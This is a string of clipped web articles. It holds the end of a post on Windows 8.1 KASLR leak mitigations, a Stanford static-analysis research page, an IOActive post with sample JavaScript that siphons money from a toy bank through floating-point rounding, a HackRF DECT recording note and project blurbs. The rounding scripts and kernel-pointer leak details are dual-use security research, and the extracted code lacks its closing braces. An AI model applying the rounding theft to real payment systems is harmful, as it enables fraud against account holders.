_ProcessWorkingSetWatchEx_ classes of _NtQueryInformationProcess_ are also now
protected**.** I didn’t talk about these two at Recon, and again I’m not aware
of any other public research on these, but they’ve always been my favorite —
especially because PSAPI, documented on MSDN, exposes Win32 friendly versions
of these \(see GetWsChanges \)**.** Basically, once you’ve turned WS Watch on
your process, you are given the address of every hard fault, as well as the
instruction pointer/program counter at the time of the fault — making it a
great way to extract both kernel data and code addresses**.** Instead of going
through the trouble of pruning kernel accesses from the working set watch log,
the interface is now simply completely disabled for restricted callers**.**

## Conclusion****

Well, there you have it folks**\!** Although a number of undocumented
interfaces and mechanisms still exist to query protected KASLR pointers, the
attack surface has been greatly decreased — eliminating almost all non-
privileged API calls, requiring at least Medium IL to use them \(thus barring
any Windows Store Apps from using them\)**.** This was great work done by the
kernel security team at Microsoft, and continues to showcase the new lengths
at which Windows is willing to go to maintain a heightened security
posture**.** It’s only one of the many other exciting security changes in
Windows 8**.** 1

This entry was posted on Sunday, November 17th, 2013 at 4:28 am and is filed
under Coding and Reversing **.** You can follow any responses to this entry
through the RSS 2**.** 0  feed**.** You can leave a response, or trackback
from your own site**.**

****

# The Stanford SUIF Compiler Group - Programming Tools

**Created:**| _5/29/2010 11:20:15 AM_  
---|---  
**Updated:**| _5/29/2010 11:20:15 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification compiler-building papers reversing
awesome_  
  

# Improving Program Robustness  
via Static and Dynamic Analysis

* * *
## Objective

Our research project aims to help programmers in writing more reliable
programs, detecting errors in their programs and diagnosing errors. Our
project includes fundamental research to improve our ability to analyze
programs, such as pointer alias analysis, and applying static and dynamic
techniques to address specific kinds of errors such as buffer overruns and
memory leaks. Our emphasis is to develop techniques that can handle large
real-life programs without imposing an onerous burden on the users. Here are a
list of publications and an overview of the research results:

  * Integrated Static and Dynamic Analyses for User-Defined Error and Security Flaw Detectors
  * Static Tools 
    * An unsound path-sensitive pointer alias analysis for C.
    * Clouseau: Detecting memory leaks in C++ programs automatically by static analysis.
    * Metacompilation: Detecting critical errors in system software by static analysis
      * Using redundancy to find errors.
      * RacerX: static detection of race conditions and deadlocks
  * Dynamic Tools 
    * DIDUCE: Tracking down software errors using dynamic anomaly detection.
    * CRED: A Practical Dynamic Overflow Detector.
  * Static and Dynamic Analysis: 
    * Automatic extraction of object-oriented component interfaces using static and dynamic techniques.
  * Architecture 
    * Speculative threads: Architectural support to improve software reliability.

* * *
## Released, Open-Source Software

  * LAPSE: plugin for Eclipse to find security vulnerabilities in Java code.
  * PQL: a Program Query Language: a language and matching system for Java codes to trap event sequences and modify run-time behavior.
  * KeepResident Eclipse plugin: plugin for Eclipse on Windows that keeps Eclipse from being swapped out, greatly reducing pause times. 2004.
  * bddbddb: BDD-Based Deductive DataBase.
  * CRED dynamic bounds checking: CRED is an extension of GCC that dynamically detects buffer overruns in C programs. It has been integrated into a GCC release maintained by Herman ten Brugge.
  * DIDUCE: an error detection and diagnosis tool for Java programs.
  * JOEQ: a Java virtual machine.

* * *
## Current Research Members

  * Monica Lam \(PI\)
  * Dawson Engler \(co-PI\)
  * Dzintars Avots
  * David Chen
  * Sudheendra Hangal
  * David Heine
  * Benjamin Livshits
  * Michael Martin
  * Jeffrey Oplinger
  * Olatunji Ruwase
  * Chris Unkel
  * John Whaley
  * Junfeng Yang

* * *
### Integrated Static and Dynamic Analyses for User-Defined Error and Security
Flaw Detectors

Program analysis has been increasingly used in software engineering tasks such
as auditing programs for security vulnerabilities and finding errors in
general. Such tools often require analyses much more sophisticated than those
traditionally used in compiler optimizations. In particular, context-sensitive
pointer alias information is a prerequisite for any sound and precise analysis
that reasons about uses of heap objects in a program. Context-sensitive
analysis is challenging because there are over 1014contexts in a typical large
program, even after recursive cycles are collapsed. Moreover, pointers cannot
be resolved in general without analyzing the entire program.

We have developed a new framework, based on the concept of deductive
databases, for context-sensitive program analysis. In this framework, all
program information is stored as relations; data access and analyses are
written as Datalog queries. To handle the large number of contexts in a
program, the database represents relations with binary decision diagrams
\(BDDs\). The system we have developed, called bddbddb, automatically
translates database queries into highly optimized BDD programs.

Our preliminary experiences suggest that a large class of analyses involving
heap objects can be described succinctly in Datalog and implemented
efficiently with BDDs. To make developing application-specific analyses easy
for programmers, we have also created a language called PQL that makes a
subset of Datalog queries more intuitive to define. We have used the language
to find many security holes in Web applications.

  * Finding Application Errors and Security Flaws Using PQL: a Program Query Language.  
Michael Martin, V. Benjamin Livshits, and Monica S. Lam  
In _Proceedings of the Conference on Object-Oriented Programming, Systems,
Languages and Applications \(OOPSLA '05\)_, October 2005.  
  

  * DynaMine: Finding Common Error Patterns by Mining Software Revision Histories.  
V. Benjamin Livshits and Thomas Zimmermann  
In _Proceedings of the ACM SIGSOFT Symposium on the Foundations of Software
Engineering \(FSE 2005\)_ , September 2005.  
  

  * Finding Security Vulnerabilities in Java Applications Using Static Analysis  
V. Benjamin Livshits and Monica S. Lam  
In _Proceedings of the 14th USENIX Security Symposium_ , August 2005.  
  

  * Context-Sensitive Program Analysis as Database Queries  
Monica S. Lam, John Whaley, V. Benjamin Livshits, Michael C. Martin, Dzintars
Avots, Michael Carbin and Christopher Unkel.  
In _Proceedings of the 24th SIGMOD-SIGACT-SIGART Symposium on Principles of
Database Systems_ , June 2005. \(Invited Tutorial\).  
  

  * Improving Software Security with A C Pointer Alias Analysis  
Dzintars Avots, Michael Dalton, Benjamin Livshits, Monica S. Lam  
In _Proceedings of the 27th International Conference on Software Engineering_
, May 2005.  
  

  * Cloning-Based Context-Sensitive Pointer Alias Analysis Using Binary Decision Diagrams  
John Whaley and Monica S. Lam  
In _Proceedings of the ACM SIGPLAN 2004 Conference on Programming Language
Design and Implementation_ , pages 131-144, June 2004.  
Best paper award.  

* * *
### IPSSA: An Unsound Path- and Context-Sensitive Pointer Analysis for Bug
Detection

We have developed a pointer alias analysis expressly for automatic error
detection. State-of-the-art pointer alias analyses are either too slow or too
imprecise for finding errors in real-life programs. We propose a hybrid
pointer analysis that tracks actively manipulated pointers held in local
variables and parameters accurately with path and context sensitivity and
handles pointers stored in recursive data structures less precisely but
efficiently. We make the unsound assumption that pointers passed into a
procedure, in parameters, global variables, and locations reached by applying
simple access paths to parameters and global variables, are all distinct from
each other and from any other locations. This assumption matches the semantics
of many functions, reduces spurious aliases and speeds up the analysis.

We designed a program representation, called IPSSA, for capturing
intraprocedural and interprocedural definition-use relationships of directly
and indirectly accessed memory locations. This representation makes it easy to
create demand-driven path-sensitive and context-sensitive analyses.

We demonstrated how a program checker based on IPSSA can be used to find
security violations. Our checker, when applied to 10 programs, found 6 new
violations and 8 previously reported ones. The checker generated only one
false warning, suggesting that our approach is effective in creating practical
and easy-to-use bug detection tools.

  * Tracking Pointers with Path and Context Sensitivity for Bug Detection in C Programs  
V. B. Livshits and M. S. Lam  
In Proceedings of the 11th ACM SIGSOFT International Symposium on the
Foundations of Software Engineering \(FSE-11\), pages 317-326, September 2003.

### Efficient Inclusion-Based Points-To Analysis

We have designed and implemented an efficient inclusion-based points-to
analysis for strictly-typed object-oriented languages. Our implementation
easily scales to millions of lines of Java code, and it supports language
features such as inheritance, object fields, exceptional control flow, type
casting, dynamic dispatch, and reflection.

Our algorithm is based on Heintze and Tardieu's Andersen-style points-to
analysis designed originally for C programs. We have improved the precision of
their algorithm by tracking the fields of individual objects separately and by
analyzing the local variables in a method in a flow-sensitive manner. Our
algorithm represents the semantics of each procedure concisely using a sparse
summary graph representation based on access paths; it iterates over this
sparse representation until it reaches a fixed point solution. By utilizing
the access path and field information present in the summary graphs, along
with minimizing redundant operations and memory management overheads, we are
able to quickly and effectively analyze very large programs. Our experimental
results demonstrate that this technique can be used to compute precise static
call graphs for very large Java programs.

  * An Efficient Inclusion-Based Points-To Analysis for Strictly-Typed Languages  
J. Whaley and M. S. Lam  
In Proceedings of the 9th International Static Analysis Symposium, pages
180-195, September 2002.  
  

* * *
### Clouseau: Detecting memory leaks in C++ programs automatically by static
analysis

Memory leaks and double deletes in large C++ programs are hard to find;
detecting them require not just local analysis, but whole program analysis. We
have made formal an object ownership model that is commonly used in practice.
Objects in this model are owned at all times. The ownership may be held by a
parent object, or by a variable in a method, and can be transferred during the
lifetime of the object.

We have developed an algorithm that can automatically identify objects that
follow the model and locate potential memory leaks and deletions of dangling
pointers in C++ programs, without requiring user intervention. The algorithm
uses a fully flow-sensitive and context-sensitive analysis to derive the
likely object invariants and to check that the objects are used consistently
throughout the program. The algorithm has been implemented in a tool called
Clouseau.

Previous attempts to model memory management with linear types were too
restrictive to be useful on real-life programs. To create a practical model,
we allow object ownership be transferred optionally in assignments and
parameter passing. We use an automatic procedure to determine if there are any
inconsistencies in transfers of ownership. We make ownership inferencing
feasible by introducing an object invariant that is often found in good
object-oriented programming practice. Namely, members of a class are
classified as either "owned" or "not owned"; i.e. a member is either "always
owned" or "never owned" by the parent object at all public method boundaries.
This approach results in an efficient whole-program flow-sensitive and
context-sensitive analysis, which takes less than 8 minutes on a PC to analyze
a program with over 100,000 lines of code.

Clouseau successfully identifies tens of errors in our SUIF2 research
compiler, and several bugs each in the open-source Mozilla web browser and the
OpenOffice productivity suite. In addition, it found numerous classes in most
of the systems where system extenders could easily misuse the class
implementations because of undocumented interface restriction on the object.
Besides producing a useful tool, this research contributes to our
understanding of deep program analysis by producing one of the fully flow-
sensitive and context-sensitive analysis tools that works on large real-life
C++ programs.

  * A Practical Flow-Sensitive and Context-Sensitive C and C++ Memory Leak Detector  
David L. Heine and Monica S. Lam  
In _Proceedings of the Conference on Programming Language Design and
Implementation_ , pages 168-181, June 2003.

* * *
### Metacompilation: Detecting critical errors in system software by static
analysis

System software often obey rules such as "accesses to variable A must be
guarded by lock B". We have developed an approach called _metacompilation_
where programmers can add simple system-specific compiler extensions that
check their code. We have written roughly fifty checkers to find errors in
operating systems such as Linux and OpenBSD. We have also developed techniques
to automatically extract such rules from the program.

Metacompilation checkers find many serious errors in complex, real systems
code. We have written roughly 50 checkers that in aggregate have found
thousands of errors in widely-used systems such as Linux and OpenBSD. Many
errors were the worst type of systems bugs: those that crash the system, but
only after it has been running continuously for days. We have validated the
results by reporting the errors to the main system developers, spurring
hundreds of fixes \(not all errors have been fixed --- there were so many that
the backlog could easily take over a year to process\).

Many checkers are less than 100 lines of code; some of the most effective are
less than 20. MC checkers are easily written. Most of our checkers were
written by programmers who had only a passing familiarity with the systems
that they checked. Extension writers also need little background knowledge of
compilers in order to write checkers. A good example of this can be seen in
that an undergraduate with no real knowledge of Linux and OpenBSD and no
compiler experience implemented an MC checker that found roughly two hundred
security holes in these systems in a few months \(which is likely a world
record for security holes per unit of time, if not close to the record for
sheer numbers\).

\(More papers by Dawson Engler and his group can be found here\).

  * A System and Language for Building System-Specific, Static Analyses,  
Seth Hallem, Benjamin Chelf, Yichen Xie, and Dawson Engler  
In _Proceedings of the ACM SIGPLAN Conference on Programming Language Design
and Implementation._ , June 2002. The best description of our MC system.
Focuses on interprocedural analysis, ranking, and simple path sensitivity to
suppress false paths.  
  

  * Using Programmer-Written Compiler Extensions to Catch Security Holes ,  
Ken Ashcraft and Dawson Engler  
In _IEEE Security and Privacy_ , pages 131-147, May 2002.  
Uses metacompilation extensions to find over 100 security holes in Linux and
BSD.  
  

  * Bugs as Deviant Behavior: A General Approach to Inferring Errors in Systems Code,  
Dawson Engler, David Yu Chen, Seth Hallem, Andy Chou, and Benjamin Chelf  
In _Proceedings of the Symposium on Operating System Principles_ , pages
57-72, October 2001.  
  

  * An Empirical Study of Operating Systems Errors ,  
Andy Chou, Junfeng Yang, Benjamin Chelf, Seth Hallem, and Dawson Engler  
In _Proceedings of the Symposium on Operating System Principles_ , pages
73-88, October 2001.  
  

  * A Simple Method for Extracting Models from Protocol Code ,  
David Lie, Andy Chou, Dawson Engler, and David Dill  
In _Proceedings of the Conference on Computer Architecture_ , June 2001  
Shows how to check deeper properties than the OSDI paper by using MC to
automatically extract specifications \(models\) from actual C code and then
running these models through a formal verifier.  
  

  * Checking System Rules Using System-Specific, Programmer-Written Compiler Extensions ,  
Dawson Engler, Benjamin Chelf, Andy Chou, and Seth Hallem.  
In _Proceedings of the Conference on the Design and Implementation of
Operating Systems_ , October 2000.  
Best paper award.  
It discusses a set of small extensions that found roughly 500 bugs in Linux,
OpenBSD, and the Xok exokernel. The extensions were usually less than 100
lines. It also used extensions to find hundreds of optimization opportunities
in heavily-tuned software.  
  

* * *
### Using Redundancy To Find Errors

Programmers generally attempt to perform useful work. If they performed an
action, it was because they believed it served some purpose. Redundant
operations violate this belief. However, in the past redundant operations have
been typically regarded as minor cosmetic problems rather than serious errors.
This paper demonstrates that in fact many redundancies are as serious as
traditional hard errors \(such as race conditions or null pointer
dereferences\). We experimentally test this idea by writing and applying five
redundancy checkers to a number of large open source projects, finding many
errors. We then show that even when redundancies are harmless they strongly
correlate with the presence of traditional hard errors. Finally we show how
flagging redundant operations gives a way to detect mistakes and omissions in
specifications. For example, a locking specification that binds shared
variables to their protecting locks can use redundancies to detect missing
bindings by flagging critical sections that include no shared state.

  * Using Redundancies to Find Errors,  
Yichen Xie and Dawson Engler  
Transactions on Software Engineering, pages 915-928, October 2003.  
\(Award paper forwarded by FSE 2002.\)  
  

* * *
### RacerX: static detection of race conditions and deadlocks

RacerX is a static tool that uses flow-sensitive, interprocedural analysis to
detect both race conditions and deadlocks. It is explicitly designed to find
errors in large, complex multithreaded systems. It aggressively infers
checking information such as which locks protect which operations, which code
contexts are multithreaded, and which shared accesses are dangerous. It tracks
a set of code features which it uses to sort errors both from most to least
severe. It uses novel techniques to counter the impact of analysis mistakes.
The tool is fast, requiring between 2-14 minutes to analyze a 1.8 million line
system. We have applied it to Linux, FreeBSD, and a large commercial code
base, finding serious errors in all of them.

  * RacerX: effective, static detection of race conditions and deadlocks,  
Dawson Engler and Ken Ashcraft, In _Proceedings of the Symposium on Operating
Systems Principles_ , pages 237-253, October 2003.

* * *
### DIDUCE: Tracking down software errors using dynamic anomaly detection.

DIDUCE is a practical and effective tool that aids programmers in detecting
complex program errors and identifying their root causes. By instrumenting a
program and observing its behavior as it runs, DIDUCE dynamically formulates
hypotheses of invariants obeyed by the program. DIDUCE hypothesizes the
strictest invariants at the beginning, and gradually relaxes the hypothesis as
violations are detected to allow for new behavior. The violations reported
help users to catch software bugs as soon as they occur. They also give
programmers new visibility into the behavior of the programs such as
identifying rare corner cases in the program logic or even locating hidden
errors that corrupt the program's results. We implemented the DIDUCE system
for Java programs and applied it to four programs of significant size and
complexity. DIDUCE succeeded in identifying the root causes of programming
errors in each of the programs quickly and automatically. In particular,
DIDUCE is effective in isolating a timing-dependent bug in a released JSSE
\(Java Secure Socket Extension\) library, which would have taken an
experienced programmer days to find. Our experience suggests that detecting
and checking program invariants dynamically is a simple and effective
methodology for debugging many different kinds of program errors across a wide
variety of application domains.

  * Tracking Down Software Bugs Using Automatic Anomaly Detection  
S. Hangal and M. S. Lam  
In Proceedings of the 24th International Conference on Software Engineering,
pages 291-301, May 2002.\(gzip'ed postscript\).

* * *
### CRED: A Practical Dynamic Overflow Detector.

Despite previous efforts in auditing software manually and automatically,
buffer overruns are still being discovered in programs in use. A dynamic
bounds checker detects buffer overruns in erroneous software before it occurs
and thereby prevents attacks from corrupting the integrity of the system.
Dynamic buffer overrun detectors have not been adopted widely because they
either \(1\) cannot guard against all buffer overrun attacks, \(2\) break
existing code, or \(3\) incur too high an overhead. This paper presents a
practical detector called CRED \(C Range Error Detector\) that avoids each of
these deficiencies. CRED finds all buffer overrun attacks as it directly
checks for the bounds of memory accesses. Unlike the original referent-object
based bounds-checking technique, CRED does not break existing code because it
uses a novel solution to support program manipulation of out-of-bounds
addresses. Finally, by restricting the bounds checks to strings in a program,
CRED's overhead is greatly reduced without sacrificing protection in the
experiments we performed.

CRED is implemented as an extension of the GNU C compiler version 3.3.1. The
simplicity of our design makes possible a robust implementation that has been
tested on over 20 open-source programs, comprising over 1.2 million lines of C
code. CRED proved effective in detecting buffer overrun attacks on programs
with known vulnerabilities, and is the only tool found to guard against a
testbed of 20 different buffer overflow attacks. Finding overruns only on
strings impose an overhead of less than 26% for 14 of the programs, and an
overhead of up to 130% for the remaining six, while the previous state-of-the-
art bounds checker by Jones and Kelly breaks 60% of the programs and is 12
times slower. Incorporating well-known techniques for optimizing bounds
checking into CRED could lead to further performance improvements.

  * A Practical Dynamic Buffer Overflow Detector  
O. Ruwase and M. S. Lam  
In Proceedings of the 11th Annual Network and Distributed System Security
Symposium, pages 159-169, February 2004.

* * *
### Automatic Extraction of Object-Oriented Component Interfaces

Today's large programs are often made out of components, whose methods must be
invoked according to some predefined but often undocumented sequencing order.
Component interfaces in our system are modeled as a product of finite state
machines, where each state-modifying method is represented as a state in the
FSM, and transitions of the FSMs represent allowable pairs of consecutive
methods.

Automatically extracted models are useful as documentation or constraints to
be enforced by a static or dynamic checker; developers can check the models to
ensure that they match the original design intents and testers can use them to
evaluate the completeness of a test suite. Techniques developed include static
analyses to deduce illegal call sequences in a program, dynamic
instrumentation techniques to extract models from the execution runs, and
finally a dynamic model checker that ensures that the code conforms to the
model.

We have tested our model extraction tools over 1.2 millions of lines of code.
The model automatically extracted for the socket implementation in java.net
captures the essence of the class effectively. The models extracted for the
standard Java libraries are useful as documentation and can be used by static
tools to look for errors in programs. The scalability of the dynamic analysis
tool is demonstrated by running it on the million-line J2EE enterprise edition
platform. The extracted models convey interesting information about the
program being tested and the test suite itself. Finally, when applied to the
joeq virtual machine, the tools found discrepancies betwen the intended and
implemented API. This information is helpful in the evolution of programs.

  * Automatic Extraction of Object-Oriented Component Interfaces  
John Whaley, Michael C. Martin and Monica S. Lam  
In _Proceedings of the International Symposium on Software Testing and
Analysis_ , pages 218-228, July 2002.  
ACM SIGSOFT Distinguished Paper Award, 2002.

* * *
### Speculative Threads: Architectural Support to Improve Software Reliability

A particularly attractive approach to improving software reliability is to
have the program monitor its execution and recover from errors when they are
detected. Unfortunately, the approach is expensive not just because it slows
down a program's execution, but it also places additional burden on the
programmers. We believe that future computer architectures should provide
features that make it easy and efficient to monitor a program execution and
recover for errors. Our research shows that the mechanisms originally invented
to support speculative thread-level parallelism can be used for this purpose.
We can speed up the monitoring code by executing it in parallel with the
original execution, and use the rollback mechanism to allow for error
recovery.

Limited hardware support has been provided in the past for performance
monitoring. Here, we are interested in monitoring the execution for the sake
of software reliability, as such, the support must be more flexible. The
program-specific monitor functions are executed in parallel with the
continuation of the normal execution. Because the hardware buffers up all the
side effects of the speculative execution of the normal thread, the monitoring
functions can simply assume they are operating on the state in which the
function is invoked. Because the side effects of the monitoring functions
seldom affect the normal threads, it is often possible to execute the normal
threads in parallel. In the rare occasion where the monitoring threads wish to
raise an exception, the hardware can simply discard the speculative state. For
error recovery, we advocate the use of fine-grain transactions in our
programming. We execute the code within the transaction in a speculative
thread. The side effects of the transactions are committed if the thread
completes normally, and discarded otherwise.

We have measured the effectiveness of our proposal by experimenting with a
number of case studies including the implementation of DIDUCE and Purify, and
code to recover from buffer overruns. Our preliminary results suggest that
instrumented code indeed has more parallelism. For example, our proposed
architectural feature manages to execute 80% more instructions with no
performance degradation in one of our test cases. Also, we showed that the
speculative thread support allows computations to recover quickly and thus
fends off denial-of-service attacks that try to crash the processes of an
application.

This work suggests a new direction in architectural research. There has been
so much energy devoted to squeezing the last drop of performance out of
existing applications, we are seeing diminishing returns. Instead of tuning
the micro-architecture to speed up existing applications, we propose that we
look to the future to promote emerging programming paradigms that enhance
reliability and productivity, and which may be too expensive on today's
architecture.

  * Enhancing Software Reliability with Speculative Threads  
Jeffrey Oplinger.  
Ph.D. Thesis. Stanford University, Computer Systems Laboratory, August 2004.  
  

  * Enhancing Software Reliability using Speculative Threads  
J. Oplinger and M. S. Lam,  
In _Proceedings of the Conference on Architectural Support for Programming
Languages and Operating Systems_ , pages 218-228, October 2002.

* * *
This research is supported in part by the National Science Foundation under
grants No. 0326227 and No. 0086160, NSF student fellowships and Stanford
Graduate Fellowships. Any opinions, findings, and conclusions or
recommendations expressed in this material are those of the author\(s\) and do
not necessarily reflect the views of the National Science Foundation.

# IOActive Labs Research: Money may grow on trees

**Created:**| _8/25/2015 3:25:16 PM_  
---|---  
**Updated:**| _8/25/2015 3:25:16 PM_  
**Author:**| __  
**Tags:**| __  
  

# Money may grow on trees

_**By Fernando Arnaboldi**_

Sometimes when buying something that costs $0.99 USD \(99 cents\) or $1.01 USD
\(one dollar and one cent\), you may pay an even dollar. Either you or the
cashier may not care about the remaining penny, and so one of you takes a
small loss or profit.

Rounding at the cash register is a common practice, just as it is in
programming languages when dealing with very small or very large numbers. I
will describe here how an attacker can make a profit when dealing with the
rounding mechanisms of programming languages.

**Lack of precision in numbers**

IEEE 754 standard has defined floating point numbers for more than 30 years.
The requirements that guided the formulation of the standard for binary
floating-point arithmetic provided for the development of very high-precision
arithmetic.

The standard defines how operations with floating point numbers should be
performed, and also defines standard behavior for abnormal operations. It
identifies five possible types of floating point exceptions: invalid operation
\(highest priority\), division by zero, overflow, underflow, and inexact
\(lowest priority\).

We will explore what happens when inexact floating point exceptions are
triggered. The rounded result of a valid operation can be different from the
real \(and sometimes infinitely precise\) result and certain operations may go
unnoticed.

**Rounding**

Rounding takes an exact number and, if necessary, modifies it to fit in the
destination's format. Normally, programming languages do not alert for the
inexact exception and instead just deliver the rounded value. Nevertheless,
documentation for programming languages contains some warnings about this:

  * JavaScript has a reference about this in the W3C Schools.
  * Python has an excellent explanation about the difficulties of representing certain decimal numbers in binary format.
  * Ruby clearly states that floating point has a different arithmetic and is a inexact number.

To exemplify this matter, this is how the number 0.1 looks internally in
Python:

<img src='img/Temp2_4245.png' width='640' height='65' />

The decimal value 0.1 cannot be represented precisely when using binary
notation, since it is an infinite number in base 2. Python will round the
previous number to 0.1 before showing the value.

**Salami slicing the decimals**

Salami slicing refers to a series of small actions that will produce a result
that would be impossible to perform all at once. In this case, we will grab
the smallest amount of decimals that are being ignored by the programming
language and use that for profit.

Let's start to grab some decimals in a way that goes unnoticed by the
programming language. Certain calculations will trigger more obvious
differences using certain specific values. For example, notice what happens
when using v8 \( Google's open source JavaScript engine\) to add the values
0.1 plus 0.2:

Perhaps we could take some of those decimals without JavaScript noticing:

<img src='img/Temp2_4244.png' width='640' height='62' />

But what happens if we are greedy? How much can we take without JavaScript
noticing?

<img src='img/Temp2_4247.png' />

That's interesting; we learned that it is even possible to take more than what
was shown, but no more than 0.00000000000000008 from that operation before
JavaScript notices.

I created a sample bank application to explain this, pennies.js:

_// This is used to wire money_

_function wire\(deposit, money, withdraw\) \{_

_account\[deposit\] += money;_

_account\[withdraw\] -= money;_

_if\(account\[withdraw\] <0\)_

_return 1; // Error\! The account can not have a negative balance_

_return 0;_

_// This is used to print the balance_

_function print\_balance\(time\) \{_

_print\( "\--------------------------------------------"\);_

_print\( " The balance of the bank accounts is:"\);_

_print\( " Account 0: "+account\[0\]+" u$s"\);_

_print\( " Account 1: "+account\[1\]+" u$s \(profit\)"\);_

_print\( " Overall money: "+\(account\[0\]+account\[1\]\)\)_

_print\( "\--------------------------------------------"\);_

_if\(typeof time \!== 'undefined'\) \{_

_print\( " Estimated daily profit: "+\( \(60\*60\*24/time\) \* account\[1\] \)
\);_

_print\( "\--------------------------------------------"\);_

_// This is used to set the default initial values_

_function reset\_values\(\) \{_

_account\[0\] = initial\_deposit;_

_account\[1\] = 0; // I will save my profit here_

_account = new Array\(\);_

_initial\_deposit = 1000000;_

_profit = 0_

_print\( "\n1\) Searching for the best profit"\);_

_for\(i = 0.000000000000000001; i < 0.1; i+=0.0000000000000000001\) \{_

_reset\_values\(\);_

_wire\(1, i, 0\); // I will transfer some cents from the account 0 to the
account 1_

_if\(account\[0\]==initial\_deposit && i>profit\) \{_

_profit = i;_

_// print\( "I can grab "+profit.toPrecision\(21\)\);_

_\} else \{_

_break;_

_print\( " Found: "+profit.toPrecision\(21\)\);_

_print\( "\n2\) Let's start moving some money:"\);_

_reset\_values\(\);_

_start = new Date\(\).getTime\(\) / 1000;_

_for \(j = 0; j < 10000000000; j++\) \{_

_for \(i = 0; i < 1000000000; i++\) \{ _

_wire\(1, profit, 0\); // I will transfer some cents from the account 0 to the
account 1_

_finish = new Date\(\).getTime\(\) / 1000;_

_print\_balance\(finish-start\);_

The attack against it will have two phases. In the first phase, we will
determine the maximum amount of decimals that we are allowed to take from an
account before the language notices something is missing. This amount is
related to the value from which we are we taking: the higher the value, the
higher the amount of decimals. Our Bank Account 0 will have $1,000,000 USD to
start with, and we will deposit our profits to a secondary Account 1:

Due to the decimals being silently shifted to Account 1, the bank now believes
that it has more money than it actually has.

Another possibility to abuse the loss of precision is what happens when
dealing with large numbers. The problem becomes visible when using at least 17
digits.

<img src='img/Temp2_4246.png' width='400' height='57' />

Now, the sample attack application will occur on a crypto currency,
fakecoin.js:

_// This is used to wire money_

_function wire\(deposit, money, withdraw\) \{_

_account\[deposit\] += money;_

_account\[withdraw\] -= money;_

_if\(account\[withdraw\] <0\) \{_

_return 1; // Error\! The account can not have a negative balance_

_return 0;_

_// This is used to print the balance_

_function print\_balance\(time\) \{_

_print\( "\-------------------------------------------------"\);_

_print\( " The general balance is:"\);_

_print\( " Crypto coin: "+crypto\_coin\);_

_print\( " Crypto value: "+crypto\_value\);_

_print\( " Crypto cash: "+\(account\[0\]\*crypto\_value\)+" u$s"\);_

_print\( " Account 0: "+account\[0\]+" coins"\);_

_print\( " Account 1: "+account\[1\]+" coins"\);_

_print\( " Overall value: "+\( \( account\[0\] + account\[1\] \) \*
crypto\_value \)+" u$s"\)_

_print\( "\-------------------------------------------------"\);_

_if\(typeof time \!== 'undefined'\) \{_

_seconds\_in\_a\_day = 60\*60\*24;_

_print\( " Estimated daily profit: "+\( \(seconds\_in\_a\_day/time\) \*
account\[1\] \* crypto\_value\) +" u$s"\);_

_print\( "\-------------------------------------------------\n"\);_

_// This is used to set the default initial values_

_function reset\_values\(\) \{_

_account\[0\] = initial\_deposit;_

_account\[1\] = 0; // profit_

_// My initial money_

_initial\_deposit = 10000000000000000;_

_crypto\_coin = "Fakecoin"_

_crypto\_value = 0.00000000011;_

_// Here I have my bank accounts defined_

_account = new Array\(\);_

_print\( "\n1\) Searching for the best profit"\);_

_profit = 0_

_for \(j = 1; j < initial\_deposit; j+=1\) \{_

_reset\_values\(\);_

_wire\(1, j, 0\); // I will transfer a few cents from the account 0 to the
account 1_

_if\(account\[0\]==initial\_deposit && j > profit\) \{_

_profit = j;_

_\} else \{_

_break;_

_print\( " Found: "+profit\);_

_reset\_values\(\);_

_start = new Date\(\).getTime\(\) / 1000;_

_print\( "\n2\) Let's start moving some money"\);_

_for \(j = 0; j < 10000000000; j++\) \{_

_for \(i = 0; i < 1000000000; i++\) \{ _

_wire\(1, profit, 0\); // I will transfer my 29 cents from the account 0 to
the account 1_

_finish = new Date\(\).getTime\(\) / 1000;_

_print\_balance\(finish-start\);_

We will buy 10000000000000000 units of Fakecoin \(with each coin valued at
$0.00000000011 USD\) for a total value of $1,100,000 USD. We will transfer one
Fakecoin at the time from Account 0 to a second account that will hold our
profits \(Account 1\). JavaScript will not notice the missing Fakecoin from
Account 0, and will allow us to profit a total of approximately $2,300 USD per
day:

Depending on the implementation, a hacker can used either float numbers or
large numbers to generate money out of thin air.

**Conclusion**

In conclusion, programmers can avoid inexact floating point exceptions with
some best practices:

  * If you rely on values that use decimal numbers, use specialized variables like BigInteger in Java.
  * Do not allow values larger than 16 digits to be stored in variables and truncate decimals, or
  * Use libraries that rely on quadruple precision \(that is, twice the amount of regular precision\).

# Azul3D

**Created:**| _8/8/2014 10:07:17 AM_  
---|---  
**Updated:**| _8/8/2014 10:07:17 AM_  
**Author:**| __  
**Tags:**| _programming Opengl go_  
  

# A 3D game engine written in Go\!

State of the art shader-based modern 3D game engine. Cross-platform, Windows
and Linux support. OpenGL 2.x based renderer. 3D audio via OpenAL.

# » Installation \(top\)

go get azul3d.org/examples.v1 go get azul3d.org/examples.v1/... Installation
Guides

# » News \(top\)

Important - Import Paths Have Changed Moving From Google Code To GitHub >>>
more news

© 2014 The Azul3D Authors, All Rights Reserved.

Unless noted otherwise, the content of this page is licensed under the
Creative Commons Attribution 3.0 License, and code is licensed under a BSD
license.

# Geek Skunk-Works: DECT 6.0 collection with HackRF

**Created:**| _4/22/2014 3:39:50 PM_  
---|---  
**Updated:**| _4/22/2014 3:39:50 PM_  
**Author:**| __  
**Tags:**| _signal sdr_  
  

# DECT 6.0 collection with HackRF

After seeing an interest in DECT on reddit  thought it would be easy enough to
grab a recording of this and share.  
  
I have a vTech DECT 6.0 cordless phone system. I may ciricle back and update
this post with more details on DECT and the phone itself, but for now wanted
to quickly share the results

Some initial observations:

  * Frequency usage isn't as high as I thought it would be \(number of frequencies\), I searched around abit and it seemed 80% of the traffic \(as least was isolated to two frequencies\)
  * The density of transmissions seemed highest at initial call setup, and on hang up. \(But this may be due to the display on my phone receiving information from the base station.
  * Both the handset and base station are visible in the file. I believe the stronger signal is the handset.

Below is a 8MHz collection via hackrf\_transfer as follows:

hackrf\_transfer -a 0 -r 1924MHz\_DECT\_hackrf\_8MHz\_8MS\_8bit.iq -f
1924000000 -s 8000000

Collection was focused around this frequency since this seemed to be where my
phone was primarily active.

<img src='img/Temp2_3448.jpg' />

And DECT waveform zoomed \(in time\):

<img src='img/Temp2_3447.jpg' />

Finally, here is the sample of the DECT 6.0 from my vTech cordless if you want
to take a look yourself:

1924MHz\_DECT\_hackrf\_8MHz\_8MS\_8bit.iq

\(To view in Baudline, decompression off, Initial byte 2, sample rate 8000000,
channel 2 quadrature, 8 bit linear, unsigned\)

#### No comments:

#### Post a Comment

# The Lava Hardware Description Language

**Created:**| _2/23/2012 9:46:19 PM_  
---|---  
